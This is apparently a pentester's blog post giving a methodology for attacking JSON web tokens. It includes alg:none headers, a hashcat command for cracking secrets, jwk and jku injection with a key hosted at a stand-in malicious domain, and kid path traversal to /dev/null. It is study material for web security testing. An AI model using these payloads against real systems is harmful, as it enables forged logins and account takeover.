JWT attacks

Emil Andrzejewski

--

Theory

JSON web tokens (JWTs) differ from standard tokens in that they contain data about users as part of authentication, session handling, and access control mechanisms.

JWT format

Three parts separated by a dot:

  • Header (Base64) — metadata about the token
  • Payload (Base64) — user “claims”
{
"Role": "Pentester",
"LinkedIn": "https://www.linkedin.com/in/emil-andrzejewski-70202b178/",
"Issuer": "Emil Andrzejewski",
"exp": 1691083198,
"iat": 1690996798
}
  • Signature — hash value derived from header and payload

JWT header parameters:

  • jwk (JSON Web Key)—JSON object representing the key
  • jku (JSON Web Key Set URL)—URL containing the key
  • kid (Key ID) — used to identify the correct key (if more than one)

Extensions

  • JWT Editor

Methodology

Flawed signature verification

  1. Modify the payload — test for unverified signature
  2. Modify the header — test for flawed signature verification
{
"typ": "JWT",
"alg": "none"
}

Secret key brute-force attacks

Well-known secrets

  1. Crack JWT secret
hashcat -a 0 -m 16500 <jwt> <wordlist>

2. JWT Editor Keys > New Symmetric Key > Generate > Repeater > Sign

{
"kty": "oct",
"kid": "cd1f778f-0cf0-46b2-a18b-bb15ba89ba99",
"k": "[Base64-encoded secret]"
}

JWT header parameter injections

All of the following techniques do not include Payload modification, as it is implementation-dependent.

  1. Inject self-signed JWT via the jwk parameter
  • JWT Editor Keys > New RSA Key > Generate > Ok
  • Repeater > Attack > Embedded JWK > Select RSA Key

2. Inject self-signed JWT via the jku parameter

  • Explore the /.well-known/jwks.json endpoint
  • Generate and host an RSA Key in the following form
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "3c9cb628-cdc9-41c9-9935-a2feb8747050",
"n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
}
]
}
  • Modify the kid value in the Header to match the one in the RSA key
  • Add jku key to the Header with the value of the site hosting the key
{
"kid": "3c9cb628-cdc9-41c9-9935-a2feb8747050",
"alg": "RS256",
"jku": "https://malicious.com/key"
}

3. Inject self-signed JWT via the kid parameter

  • Generate a symmetric key that uses an empty secret (Base64-encoded null byte)
{
"kty": "oct",
"kid": "41d7d7f9-3496-4aaa-8c6b-69e7b4fda590",
"k": "AA=="
}
  • Modify the kid value to an empty file using the directory traversal vulnerability
{
"kid": "../../../../dev/null",
"alg": "HS256"
}

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Emil Andrzejewski
Emil Andrzejewski

Written by Emil Andrzejewski

Offensive Security Engineer 🔴

No responses yet

Write a response